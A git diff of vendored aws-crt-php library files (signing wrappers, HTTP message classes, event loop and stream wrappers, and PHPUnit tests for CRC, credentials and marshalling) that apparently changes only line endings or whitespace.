self::$impl->aws_crt_signing_config_aws_set_use_double_uri_encode($signing_config, $use_double_uri_encode); + } + + function signing_config_aws_set_should_normalize_uri_path($signing_config, $should_normalize_uri_path) { + self::$impl->aws_crt_signing_config_aws_set_should_normalize_uri_path($signing_config, $should_normalize_uri_path); + } + + function signing_config_aws_set_omit_session_token($signing_config, $omit_session_token) { + self::$impl->aws_crt_signing_config_aws_set_omit_session_token($signing_config, $omit_session_token); + } + + function signing_config_aws_set_signed_body_value($signing_config, $signed_body_value) { + self::$impl->aws_crt_signing_config_aws_set_signed_body_value($signing_config, $signed_body_value); + } + + function signing_config_aws_set_signed_body_header_type($signing_config, $signed_body_header_type) { + self::$impl->aws_crt_signing_config_aws_set_signed_body_header_type($signing_config, $signed_body_header_type); + } + + function signing_config_aws_set_expiration_in_seconds($signing_config, $expiration_in_seconds) { + self::$impl->aws_crt_signing_config_aws_set_expiration_in_seconds($signing_config, $expiration_in_seconds); + } + + function signing_config_aws_set_date($signing_config, $timestamp) { + self::$impl->aws_crt_signing_config_aws_set_date($signing_config, $timestamp); + } + + function signing_config_aws_set_should_sign_header_fn($signing_config, $should_sign_header_fn) { + self::$impl->aws_crt_signing_config_aws_set_should_sign_header_fn($signing_config, $should_sign_header_fn); + } + + function signable_new_from_http_request($http_message) { + return self::$impl->aws_crt_signable_new_from_http_request($http_message); + } + + function signable_new_from_chunk($chunk_stream, $previous_signature) { + return self::$impl->aws_crt_signable_new_from_chunk($chunk_stream, $previous_signature); + } + + function signable_new_from_canonical_request($canonical_request) { + return self::$impl->aws_crt_signable_new_from_canonical_request($canonical_request); + } + + function signable_release($signable) { + self::$impl->aws_crt_signable_release($signable); + } + + function signing_result_release($signing_result) { + self::$impl->aws_crt_signing_result_release($signing_result); + } + + function signing_result_apply_to_http_request($signing_result, $http_message) { + return self::$impl->aws_crt_signing_result_apply_to_http_request( + $signing_result, $http_message); + } + + function sign_request_aws($signable, $signing_config, $on_complete, $user_data) { + return self::$impl->aws_crt_sign_request_aws($signable, $signing_config, $on_complete, $user_data); + } + + function test_verify_sigv4a_signing($signable, $signing_config, $expected_canonical_request, $signature, $ecc_key_pub_x, $ecc_key_pub_y) { + return self::$impl->aws_crt_test_verify_sigv4a_signing($signable, $signing_config, $expected_canonical_request, $signature, $ecc_key_pub_x, $ecc_key_pub_y); + } + + public static function crc32($input, $previous = 0) { + return self::$impl->aws_crt_crc32($input, $previous); + } + + public static function crc32c($input, $previous = 0) { + return self::$impl->aws_crt_crc32c($input, $previous); + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Headers.php b/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Headers.php index 50ff6d142c..8d1457cf7d 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Headers.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Headers.php @@ -1,50 +1,50 @@ -headers = $headers; - } - - public static function marshall($headers) { - $buf = ""; - foreach ($headers->headers as $header => $value) { - $buf .= Encoding::encodeString($header); - $buf .= Encoding::encodeString($value); - } - return $buf; - } - - public static function unmarshall($buf) { - $strings = Encoding::readStrings($buf); - $headers = []; - for ($idx = 0; $idx < count($strings);) { - $headers[$strings[$idx++]] = $strings[$idx++]; - } - return new Headers($headers); - } - - public function count() { - return count($this->headers); - } - - public function get($header) { - return isset($this->headers[$header]) ? $this->headers[$header] : null; - } - - public function set($header, $value) { - $this->headers[$header] = $value; - } - - public function toArray() { - return $this->headers; - } -} +headers = $headers; + } + + public static function marshall($headers) { + $buf = ""; + foreach ($headers->headers as $header => $value) { + $buf .= Encoding::encodeString($header); + $buf .= Encoding::encodeString($value); + } + return $buf; + } + + public static function unmarshall($buf) { + $strings = Encoding::readStrings($buf); + $headers = []; + for ($idx = 0; $idx < count($strings);) { + $headers[$strings[$idx++]] = $strings[$idx++]; + } + return new Headers($headers); + } + + public function count() { + return count($this->headers); + } + + public function get($header) { + return isset($this->headers[$header]) ? $this->headers[$header] : null; + } + + public function set($header, $value) { + $this->headers[$header] = $value; + } + + public function toArray() { + return $this->headers; + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Message.php b/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Message.php index 36853a8913..a8c151fe25 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Message.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Message.php @@ -1,95 +1,95 @@ -method = $method; - $this->path = $path; - $this->query = $query; - $this->headers = new Headers($headers); - $this->acquire(self::$crt->http_message_new_from_blob(self::marshall($this))); - } - - public function __destruct() { - self::$crt->http_message_release($this->release()); - parent::__destruct(); - } - - public function toBlob() { - return self::$crt->http_message_to_blob($this->native); - } - - protected static function marshall($msg) { - $buf = ""; - $buf .= Encoding::encodeString($msg->method); - $buf .= Encoding::encodeString($msg->pathAndQuery()); - $buf .= Headers::marshall($msg->headers); - return $buf; - } - - protected static function _unmarshall($buf, $class=Message::class) { - $method = Encoding::readString($buf); - $path_and_query = Encoding::readString($buf); - $parts = explode("?", $path_and_query, 2); - $path = isset($parts[0]) ? $parts[0] : ""; - $query = isset($parts[1]) ? $parts[1] : ""; - $headers = Headers::unmarshall($buf); - - // Turn query params back into a dictionary - if (strlen($query)) { - $query = rawurldecode($query); - $query = explode("&", $query); - $query = array_reduce($query, function($params, $pair) { - list($param, $value) = explode("=", $pair, 2); - $params[$param] = $value; - return $params; - }, []); - } else { - $query = []; - } - - return new $class($method, $path, $query, $headers->toArray()); - } - - public function pathAndQuery() { - $path = $this->path; - $queries = []; - foreach ($this->query as $param => $value) { - $queries []= urlencode($param) . "=" . urlencode($value); - } - $query = implode("&", $queries); - if (strlen($query)) { - $path = implode("?", [$path, $query]); - } - return $path; - } - - public function method() { - return $this->method; - } - - public function path() { - return $this->path; - } - - public function query() { - return $this->query; - } - - public function headers() { - return $this->headers; - } -} +method = $method; + $this->path = $path; + $this->query = $query; + $this->headers = new Headers($headers); + $this->acquire(self::$crt->http_message_new_from_blob(self::marshall($this))); + } + + public function __destruct() { + self::$crt->http_message_release($this->release()); + parent::__destruct(); + } + + public function toBlob() { + return self::$crt->http_message_to_blob($this->native); + } + + protected static function marshall($msg) { + $buf = ""; + $buf .= Encoding::encodeString($msg->method); + $buf .= Encoding::encodeString($msg->pathAndQuery()); + $buf .= Headers::marshall($msg->headers); + return $buf; + } + + protected static function _unmarshall($buf, $class=Message::class) { + $method = Encoding::readString($buf); + $path_and_query = Encoding::readString($buf); + $parts = explode("?", $path_and_query, 2); + $path = isset($parts[0]) ? $parts[0] : ""; + $query = isset($parts[1]) ? $parts[1] : ""; + $headers = Headers::unmarshall($buf); + + // Turn query params back into a dictionary + if (strlen($query)) { + $query = rawurldecode($query); + $query = explode("&", $query); + $query = array_reduce($query, function($params, $pair) { + list($param, $value) = explode("=", $pair, 2); + $params[$param] = $value; + return $params; + }, []); + } else { + $query = []; + } + + return new $class($method, $path, $query, $headers->toArray()); + } + + public function pathAndQuery() { + $path = $this->path; + $queries = []; + foreach ($this->query as $param => $value) { + $queries []= urlencode($param) . "=" . urlencode($value); + } + $query = implode("&", $queries); + if (strlen($query)) { + $path = implode("?", [$path, $query]); + } + return $path; + } + + public function method() { + return $this->method; + } + + public function path() { + return $this->path; + } + + public function query() { + return $this->query; + } + + public function headers() { + return $this->headers; + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Request.php b/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Request.php index c4a1bc3e63..9b4f07c4e2 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Request.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Request.php @@ -1,32 +1,32 @@ -body_stream = $body_stream; - } - - public static function marshall($request) { - return parent::marshall($request); - } - - public static function unmarshall($buf) { - return parent::_unmarshall($buf, Request::class); - } - - public function body_stream() { - return $this->body_stream; - } -} +body_stream = $body_stream; + } + + public static function marshall($request) { + return parent::marshall($request); + } + + public static function unmarshall($buf) { + return parent::_unmarshall($buf, Request::class); + } + + public function body_stream() { + return $this->body_stream; + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Response.php b/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Response.php index 1e1f865dbb..526edc3a9c 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Response.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/HTTP/Response.php @@ -1,27 +1,27 @@ -status_code = $status_code; - } - - public static function marshall($response) { - return parent::marshall($response); - } - - public static function unmarshall($buf) { - return parent::_unmarshall($buf, Response::class); - } - - public function status_code() { - return $this->status_code; - } -} +status_code = $status_code; + } + + public static function marshall($response) { + return parent::marshall($response); + } + + public static function unmarshall($buf) { + return parent::_unmarshall($buf, Response::class); + } + + public function status_code() { + return $this->status_code; + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/IO/EventLoopGroup.php b/vendor/aws/aws-crt-php/src/AWS/CRT/IO/EventLoopGroup.php index 91ea414138..7e989e768e 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/IO/EventLoopGroup.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/IO/EventLoopGroup.php @@ -1,39 +1,39 @@ - 0, - ]; - } - - function __construct(array $options = []) { - parent::__construct(); - $options = new Options($options, self::defaults()); - $elg_options = self::$crt->event_loop_group_options_new(); - self::$crt->event_loop_group_options_set_max_threads($elg_options, $options->getInt('max_threads')); - $this->acquire(self::$crt->event_loop_group_new($elg_options)); - self::$crt->event_loop_group_options_release($elg_options); - } - - function __destruct() { - self::$crt->event_loop_group_release($this->release()); - parent::__destruct(); - } -} + 0, + ]; + } + + function __construct(array $options = []) { + parent::__construct(); + $options = new Options($options, self::defaults()); + $elg_options = self::$crt->event_loop_group_options_new(); + self::$crt->event_loop_group_options_set_max_threads($elg_options, $options->getInt('max_threads')); + $this->acquire(self::$crt->event_loop_group_new($elg_options)); + self::$crt->event_loop_group_options_release($elg_options); + } + + function __destruct() { + self::$crt->event_loop_group_release($this->release()); + parent::__destruct(); + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/IO/InputStream.php b/vendor/aws/aws-crt-php/src/AWS/CRT/IO/InputStream.php index 9833072596..ae5fd46e7f 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/IO/InputStream.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/IO/InputStream.php @@ -1,49 +1,49 @@ -stream = $stream; - $options = self::$crt->input_stream_options_new(); - // The stream implementation in native just converts the PHP stream into - // a native php_stream* and executes operations entirely in native - self::$crt->input_stream_options_set_user_data($options, $stream); - $this->acquire(self::$crt->input_stream_new($options)); - self::$crt->input_stream_options_release($options); - } - - public function __destruct() { - self::$crt->input_stream_release($this->release()); - parent::__destruct(); - } - - public function eof() { - return self::$crt->input_stream_eof($this->native); - } - - public function length() { - return self::$crt->input_stream_get_length($this->native); - } - - public function read($length = 0) { - if ($length == 0) { - $length = $this->length(); - } - return self::$crt->input_stream_read($this->native, $length); - } - - public function seek($offset, $basis) { - return self::$crt->input_stream_seek($this->native, $offset, $basis); - } -} +stream = $stream; + $options = self::$crt->input_stream_options_new(); + // The stream implementation in native just converts the PHP stream into + // a native php_stream* and executes operations entirely in native + self::$crt->input_stream_options_set_user_data($options, $stream); + $this->acquire(self::$crt->input_stream_new($options)); + self::$crt->input_stream_options_release($options); + } + + public function __destruct() { + self::$crt->input_stream_release($this->release()); + parent::__destruct(); + } + + public function eof() { + return self::$crt->input_stream_eof($this->native); + } + + public function length() { + return self::$crt->input_stream_get_length($this->native); + } + + public function read($length = 0) { + if ($length == 0) { + $length = $this->length(); + } + return self::$crt->input_stream_read($this->native, $length); + } + + public function seek($offset, $basis) { + return self::$crt->input_stream_seek($this->native, $offset, $basis); + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/Internal/Encoding.php b/vendor/aws/aws-crt-php/src/AWS/CRT/Internal/Encoding.php index ce786c5374..75446fc5f5 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/Internal/Encoding.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/Internal/Encoding.php @@ -1,37 +1,37 @@ -= self::NONE && $level <= self::TRACE); - CRT::log_set_level($level); - } - - public static function log($level, $message) { - CRT::log_message($level, $message); - } -} += self::NONE && $level <= self::TRACE); + CRT::log_set_level($level); + } + + public static function log($level, $message) { + CRT::log_message($level, $message); + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/NativeResource.php b/vendor/aws/aws-crt-php/src/AWS/CRT/NativeResource.php index 8f1450ed6b..528df759ff 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/NativeResource.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/NativeResource.php @@ -1,42 +1,42 @@ -native = $handle; - } - - protected function release() { - $native = $this->native; - $this->native = null; - return $native; - } - - function __destruct() { - // Should have been destroyed and released by derived resource - assert($this->native == null); - unset(self::$resources[spl_object_hash($this)]); - } -} +native = $handle; + } + + protected function release() { + $native = $this->native; + $this->native = null; + return $native; + } + + function __destruct() { + // Should have been destroyed and released by derived resource + assert($this->native == null); + unset(self::$resources[spl_object_hash($this)]); + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/Options.php b/vendor/aws/aws-crt-php/src/AWS/CRT/Options.php index e297b0e917..363a396c4c 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/Options.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/Options.php @@ -1,77 +1,77 @@ -value = $value; - } - - public function asObject() { - return $this->value; - } - - public function asMixed() { - return $this->value; - } - - public function asInt() { - return empty($this->value) ? 0 : (int)$this->value; - } - - public function asBool() { - return boolval($this->value); - } - - public function asString() { - return !empty($this->value) ? strval($this->value) : ""; - } - - public function asArray() { - return is_array($this->value) ? $this->value : (!empty($this->value) ? [$this->value] : []); - } - - public function asCallable() { - return is_callable($this->value) ? $this->value : null; - } -} - -final class Options { - private $options; - - public function __construct($opts = [], $defaults = []) { - $this->options = array_replace($defaults, empty($opts) ? [] : $opts); - } - - public function __get($name) { - return $this->get($name); - } - - public function asArray() { - return $this->options; - } - - public function toArray() { - return array_merge_recursive([], $this->options); - } - - public function get($name) { - return new OptionValue($this->options[$name]); - } - - public function getInt($name) { - return $this->get($name)->asInt(); - } - - public function getString($name) { - return $this->get($name)->asString(); - } - - public function getBool($name) { - return $this->get($name)->asBool(); - } -} +value = $value; + } + + public function asObject() { + return $this->value; + } + + public function asMixed() { + return $this->value; + } + + public function asInt() { + return empty($this->value) ? 0 : (int)$this->value; + } + + public function asBool() { + return boolval($this->value); + } + + public function asString() { + return !empty($this->value) ? strval($this->value) : ""; + } + + public function asArray() { + return is_array($this->value) ? $this->value : (!empty($this->value) ? [$this->value] : []); + } + + public function asCallable() { + return is_callable($this->value) ? $this->value : null; + } +} + +final class Options { + private $options; + + public function __construct($opts = [], $defaults = []) { + $this->options = array_replace($defaults, empty($opts) ? [] : $opts); + } + + public function __get($name) { + return $this->get($name); + } + + public function asArray() { + return $this->options; + } + + public function toArray() { + return array_merge_recursive([], $this->options); + } + + public function get($name) { + return new OptionValue($this->options[$name]); + } + + public function getInt($name) { + return $this->get($name)->asInt(); + } + + public function getString($name) { + return $this->get($name)->asString(); + } + + public function getBool($name) { + return $this->get($name)->asBool(); + } +} diff --git a/vendor/aws/aws-crt-php/tests/000_CoreTest.php b/vendor/aws/aws-crt-php/tests/000_CoreTest.php index 9806c7e202..e9e068ab88 100644 --- a/vendor/aws/aws-crt-php/tests/000_CoreTest.php +++ b/vendor/aws/aws-crt-php/tests/000_CoreTest.php @@ -1,22 +1,22 @@ -assertTrue(CRT::isAvailable()); - } - - // We have done nothing to necessitate loading the CRT, it should not be loaded - public function testIsLoaded() { - $this->assertTrue(!CRT::isLoaded()); - } +assertTrue(CRT::isAvailable()); + } + + // We have done nothing to necessitate loading the CRT, it should not be loaded + public function testIsLoaded() { + $this->assertTrue(!CRT::isLoaded()); + } } \ No newline at end of file diff --git a/vendor/aws/aws-crt-php/tests/CrcTest.php b/vendor/aws/aws-crt-php/tests/CrcTest.php index 1b34dd9ae7..56c50385ed 100644 --- a/vendor/aws/aws-crt-php/tests/CrcTest.php +++ b/vendor/aws/aws-crt-php/tests/CrcTest.php @@ -1,90 +1,90 @@ -assertEquals($output, $expected); - } - - public function testCrc32ZeroesIterated() { - $output = 0; - for ($i = 0; $i < 32; $i++) { - $output = CRT::crc32("\x00", $output); - } - $expected = 0x190A55AD; - $this->assertEquals($output, $expected); - } - - public function testCrc32ValuesOneShot() { - $input = implode(array_map("chr", range(0, 31))); - $output = CRT::crc32($input); - $expected = 0x91267E8A; - $this->assertEquals($output, $expected); - } - - public function testCrc32ValuesIterated() { - $output = 0; - foreach (range(0, 31) as $n) { - $output = CRT::crc32(chr($n), $output); - } - $expected = 0x91267E8A; - $this->assertEquals($output, $expected); - } - - public function testCrc32LargeBuffer() { - $input = implode(array_map("chr", array_fill(0, 1 << 20, 0))); - $output = CRT::crc32($input); - $expected = 0xA738EA1C; - $this->assertEquals($output, $expected); - } - - public function testCrc32cZeroesOneShot() { - $input = implode(array_map("chr", array_fill(0, 32, 0))); - $output = CRT::crc32c($input); - $expected = 0x8A9136AA; - $this->assertEquals($output, $expected); - } - - public function testCrc32cZeroesIterated() { - $output = 0; - for ($i = 0; $i < 32; $i++) { - $output = CRT::crc32c("\x00", $output); - } - $expected = 0x8A9136AA; - $this->assertEquals($output, $expected); - } - - public function testCrc32cValuesOneShot() { - $input = implode(array_map("chr", range(0, 31))); - $output = CRT::crc32c($input); - $expected = 0x46DD794E; - $this->assertEquals($output, $expected); - } - - public function testCrc32cValuesIterated() { - $output = 0; - foreach (range(0, 31) as $n) { - $output = CRT::crc32c(chr($n), $output); - } - $expected = 0x46DD794E; - $this->assertEquals($output, $expected); - } - - public function testCrc32cLargeBuffer() { - $input = implode(array_map("chr", array_fill(0, 1 << 20, 0))); - $output = CRT::crc32c($input); - $expected = 0x14298C12; - $this->assertEquals($output, $expected); - } - -} +assertEquals($output, $expected); + } + + public function testCrc32ZeroesIterated() { + $output = 0; + for ($i = 0; $i < 32; $i++) { + $output = CRT::crc32("\x00", $output); + } + $expected = 0x190A55AD; + $this->assertEquals($output, $expected); + } + + public function testCrc32ValuesOneShot() { + $input = implode(array_map("chr", range(0, 31))); + $output = CRT::crc32($input); + $expected = 0x91267E8A; + $this->assertEquals($output, $expected); + } + + public function testCrc32ValuesIterated() { + $output = 0; + foreach (range(0, 31) as $n) { + $output = CRT::crc32(chr($n), $output); + } + $expected = 0x91267E8A; + $this->assertEquals($output, $expected); + } + + public function testCrc32LargeBuffer() { + $input = implode(array_map("chr", array_fill(0, 1 << 20, 0))); + $output = CRT::crc32($input); + $expected = 0xA738EA1C; + $this->assertEquals($output, $expected); + } + + public function testCrc32cZeroesOneShot() { + $input = implode(array_map("chr", array_fill(0, 32, 0))); + $output = CRT::crc32c($input); + $expected = 0x8A9136AA; + $this->assertEquals($output, $expected); + } + + public function testCrc32cZeroesIterated() { + $output = 0; + for ($i = 0; $i < 32; $i++) { + $output = CRT::crc32c("\x00", $output); + } + $expected = 0x8A9136AA; + $this->assertEquals($output, $expected); + } + + public function testCrc32cValuesOneShot() { + $input = implode(array_map("chr", range(0, 31))); + $output = CRT::crc32c($input); + $expected = 0x46DD794E; + $this->assertEquals($output, $expected); + } + + public function testCrc32cValuesIterated() { + $output = 0; + foreach (range(0, 31) as $n) { + $output = CRT::crc32c(chr($n), $output); + } + $expected = 0x46DD794E; + $this->assertEquals($output, $expected); + } + + public function testCrc32cLargeBuffer() { + $input = implode(array_map("chr", array_fill(0, 1 << 20, 0))); + $output = CRT::crc32c($input); + $expected = 0x14298C12; + $this->assertEquals($output, $expected); + } + +} diff --git a/vendor/aws/aws-crt-php/tests/CredentialsTest.php b/vendor/aws/aws-crt-php/tests/CredentialsTest.php index 793a4d19c3..32a9c42685 100644 --- a/vendor/aws/aws-crt-php/tests/CredentialsTest.php +++ b/vendor/aws/aws-crt-php/tests/CredentialsTest.php @@ -1,46 +1,46 @@ -expectException(InvalidArgumentException::class); - $creds = new AwsCredentials(AwsCredentials::defaults()); - $this->assertNotNull($creds, "Failed to create default/empty credentials"); - $creds = null; - } - - private function getCredentialsConfig() { - $options = AwsCredentials::defaults(); - $options['access_key_id'] = 'TESTAWSACCESSKEYID'; - $options['secret_access_key'] = 'TESTSECRETaccesskeyThatDefinitelyDoesntWork'; - $options['session_token'] = 'ThisIsMyTestSessionTokenIMadeItUpMyself'; - $options['expiration_timepoint_seconds'] = 42; - return $options; - } - - public function testCredentialsLifetime() { - $options = $this->getCredentialsConfig(); - $creds = new AwsCredentials($options); - $this->assertNotNull($creds, "Failed to create Credentials with options"); - $this->assertEquals($creds->access_key_id, $options['access_key_id']); - $this->assertEquals($creds->secret_access_key, $options['secret_access_key']); - $this->assertEquals($creds->session_token, $options['session_token']); - $this->assertEquals($creds->expiration_timepoint_seconds, $options['expiration_timepoint_seconds']); - $creds = null; - } - - public function testStaticCredentialsProviderLifetime() { - $options = $this->getCredentialsConfig(); - $provider = new StaticCredentialsProvider($options); - $this->assertNotNull($provider, "Failed to create StaticCredentialsProvider"); - $provider = null; - } -} +expectException(InvalidArgumentException::class); + $creds = new AwsCredentials(AwsCredentials::defaults()); + $this->assertNotNull($creds, "Failed to create default/empty credentials"); + $creds = null; + } + + private function getCredentialsConfig() { + $options = AwsCredentials::defaults(); + $options['access_key_id'] = 'TESTAWSACCESSKEYID'; + $options['secret_access_key'] = 'TESTSECRETaccesskeyThatDefinitelyDoesntWork'; + $options['session_token'] = 'ThisIsMyTestSessionTokenIMadeItUpMyself'; + $options['expiration_timepoint_seconds'] = 42; + return $options; + } + + public function testCredentialsLifetime() { + $options = $this->getCredentialsConfig(); + $creds = new AwsCredentials($options); + $this->assertNotNull($creds, "Failed to create Credentials with options"); + $this->assertEquals($creds->access_key_id, $options['access_key_id']); + $this->assertEquals($creds->secret_access_key, $options['secret_access_key']); + $this->assertEquals($creds->session_token, $options['session_token']); + $this->assertEquals($creds->expiration_timepoint_seconds, $options['expiration_timepoint_seconds']); + $creds = null; + } + + public function testStaticCredentialsProviderLifetime() { + $options = $this->getCredentialsConfig(); + $provider = new StaticCredentialsProvider($options); + $this->assertNotNull($provider, "Failed to create StaticCredentialsProvider"); + $provider = null; + } +} diff --git a/vendor/aws/aws-crt-php/tests/ErrorTest.php b/vendor/aws/aws-crt-php/tests/ErrorTest.php index 5fb14b3c6b..e84d1edbfb 100644 --- a/vendor/aws/aws-crt-php/tests/ErrorTest.php +++ b/vendor/aws/aws-crt-php/tests/ErrorTest.php @@ -1,21 +1,21 @@ -assertEquals(0, CRT::last_error()); - } - - public function testCanResolveErrorName() { - $this->assertEquals("AWS_ERROR_SUCCESS", CRT::error_name(0)); - } - - public function testCanResolveErrorStr() { - $this->assertEquals("Success.", CRT::error_str(0)); - } -} +assertEquals(0, CRT::last_error()); + } + + public function testCanResolveErrorName() { + $this->assertEquals("AWS_ERROR_SUCCESS", CRT::error_name(0)); + } + + public function testCanResolveErrorStr() { + $this->assertEquals("Success.", CRT::error_str(0)); + } +} diff --git a/vendor/aws/aws-crt-php/tests/EventLoopGroupTest.php b/vendor/aws/aws-crt-php/tests/EventLoopGroupTest.php index 20717d57ad..6a52c69c0d 100644 --- a/vendor/aws/aws-crt-php/tests/EventLoopGroupTest.php +++ b/vendor/aws/aws-crt-php/tests/EventLoopGroupTest.php @@ -1,25 +1,25 @@ -assertNotNull($elg, "Failed to create default EventLoopGroup"); - $elg = null; - } - - public function testConstructionWithOptions() { - $options = EventLoopGroup::defaults(); - $options['num_threads'] = 1; - $elg = new EventLoopGroup($options); - $this->assertNotNull($elg, "Failed to create EventLoopGroup with 1 thread"); - $elg = null; - } -} +assertNotNull($elg, "Failed to create default EventLoopGroup"); + $elg = null; + } + + public function testConstructionWithOptions() { + $options = EventLoopGroup::defaults(); + $options['num_threads'] = 1; + $elg = new EventLoopGroup($options); + $this->assertNotNull($elg, "Failed to create EventLoopGroup with 1 thread"); + $elg = null; + } +} diff --git a/vendor/aws/aws-crt-php/tests/HttpMessageTest.php b/vendor/aws/aws-crt-php/tests/HttpMessageTest.php index 4c5bbbe9a7..eec18b6220 100644 --- a/vendor/aws/aws-crt-php/tests/HttpMessageTest.php +++ b/vendor/aws/aws-crt-php/tests/HttpMessageTest.php @@ -1,95 +1,95 @@ -assertSame(0, $headers->count()); - } - - public function testHeadersMarshalling() { - $headers_array = [ - "host" => "s3.amazonaws.com", - "test" => "this is a test header value" - ]; - $headers = new Headers($headers_array); - $this->assertSame(2, $headers->count()); - $this->assertSame($headers_array['host'], $headers->get('host')); - $this->assertSame($headers_array['test'], $headers->get('test')); - $buffer = Headers::marshall($headers); - $headers_copy = Headers::unmarshall($buffer); - $this->assertSame(2, $headers_copy->count()); - $this->assertSame($headers_array['host'], $headers_copy->get('host')); - $this->assertSame($headers_array['test'], $headers_copy->get('test')); - } - - private function assertMessagesMatch($a, $b) { - $this->assertSame($a->method(), $b->method()); - $this->assertSame($a->path(), $b->path()); - $this->assertSame($a->query(), $b->query()); - $this->assertSame($a->headers()->toArray(), $b->headers()->toArray()); - } - - public function testRequestMarshalling() { - $headers = [ - "host" => "s3.amazonaws.com", - "test" => "this is a test header value" - ]; - $method = "GET"; - $path = "/index.php"; - $query = []; - - $msg = new Request($method, $path, $query, $headers); - $msg_buf = Request::marshall($msg); - $msg_copy = Request::unmarshall($msg_buf); - - $this->assertMessagesMatch($msg, $msg_copy); - } - - public function testRequestMarshallingWithQueryParams() { - $headers = [ - "host" => "s3.amazonaws.com", - "test" => "this is a test header value" - ]; - $method = "GET"; - $path = "/index.php"; - $query = [ - 'request' => '1', - 'test' => 'true', - 'answer' => '42', - 'foo' => 'bar', - ]; - - $msg = new Request($method, $path, $query, $headers); - $msg_buf = Request::marshall($msg); - $msg_copy = Request::unmarshall($msg_buf); - - $this->assertMessagesMatch($msg, $msg_copy); - } - - public function testResponseMarshalling() { - $headers = [ - "content-length" => "42", - "test" => "this is a test header value" - ]; - $method = "GET"; - $path = "/index.php"; - $query = [ - 'response' => '1' - ]; - - $msg = new Response($method, $path, $query, $headers, 200); - $msg_buf = Request::marshall($msg); - $msg_copy = Request::unmarshall($msg_buf); - - $this->assertMessagesMatch($msg, $msg_copy); - } -} +assertSame(0, $headers->count()); + } + + public function testHeadersMarshalling() { + $headers_array = [ + "host" => "s3.amazonaws.com", + "test" => "this is a test header value" + ]; + $headers = new Headers($headers_array); + $this->assertSame(2, $headers->count()); + $this->assertSame($headers_array['host'], $headers->get('host')); + $this->assertSame($headers_array['test'], $headers->get('test')); + $buffer = Headers::marshall($headers); + $headers_copy = Headers::unmarshall($buffer); + $this->assertSame(2, $headers_copy->count()); + $this->assertSame($headers_array['host'], $headers_copy->get('host')); + $this->assertSame($headers_array['test'], $headers_copy->get('test')); + } + + private function assertMessagesMatch($a, $b) { + $this->assertSame($a->method(), $b->method()); + $this->assertSame($a->path(), $b->path()); + $this->assertSame($a->query(), $b->query()); + $this->assertSame($a->headers()->toArray(), $b->headers()->toArray()); + } + + public function testRequestMarshalling() { + $headers = [ + "host" => "s3.amazonaws.com", + "test" => "this is a test header value" + ]; + $method = "GET"; + $path = "/index.php"; + $query = []; + + $msg = new Request($method, $path, $query, $headers); + $msg_buf = Request::marshall($msg); + $msg_copy = Request::unmarshall($msg_buf); + + $this->assertMessagesMatch($msg, $msg_copy); + } + + public function testRequestMarshallingWithQueryParams() { + $headers = [ + "host" => "s3.amazonaws.com", + "test" => "this is a test header value" + ]; + $method = "GET"; + $path = "/index.php"; + $query = [ + 'request' => '1', + 'test' => 'true', + 'answer' => '42', + 'foo' => 'bar', + ]; + + $msg = new Request($method, $path, $query, $headers); + $msg_buf = Request::marshall($msg); + $msg_copy = Request::unmarshall($msg_buf); + + $this->assertMessagesMatch($msg, $msg_copy); + } + + public function testResponseMarshalling() { + $headers = [ + "content-length" => "42", + "test" => "this is a test header value" + ]; + $method = "GET"; + $path = "/index.php"; + $query = [ + 'response' => '1' + ]; + + $msg = new Response($method, $path, $query, $headers, 200); + $msg_buf = Request::marshall($msg); + $msg_copy = Request::unmarshall($msg_buf); + + $this->assertMessagesMatch($msg, $msg_copy); + } +} diff --git a/vendor/aws/aws-crt-php/tests/LogTest.php b/vendor/aws/aws-crt-php/tests/LogTest.php index 40e57db284..8beff342f6 100644 --- a/vendor/aws/aws-crt-php/tests/LogTest.php +++ b/vendor/aws/aws-crt-php/tests/LogTest.php @@ -1,23 +1,23 @@ -assertNotNull($log_stream); - Log::toStream($log_stream); - Log::setLogLevel(Log::TRACE); - Log::log(Log::TRACE, "THIS IS A TEST"); - $this->assertTrue(rewind($log_stream)); - $log_contents = stream_get_contents($log_stream, -1, 0); - $this->assertStringEndsWith("THIS IS A TEST", trim($log_contents)); - Log::stop(); - } -} +assertNotNull($log_stream); + Log::toStream($log_stream); + Log::setLogLevel(Log::TRACE); + Log::log(Log::TRACE, "THIS IS A TEST"); + $this->assertTrue(rewind($log_stream)); + $log_contents = stream_get_contents($log_stream, -1, 0); + $this->assertStringEndsWith("THIS IS A TEST", trim($log_contents)); + Log::stop(); + } +} diff --git a/vendor/aws/aws-crt-php/tests/SigningTest.php b/vendor/aws/aws-crt-php/tests/SigningTest.php index 584bde6a84..77399abda8 100644 --- a/vendor/aws/aws-crt-php/tests/SigningTest.php +++ b/vendor/aws/aws-crt-php/tests/SigningTest.php @@ -1,176 +1,176 @@ -assertNotNull($config, "Failed to create 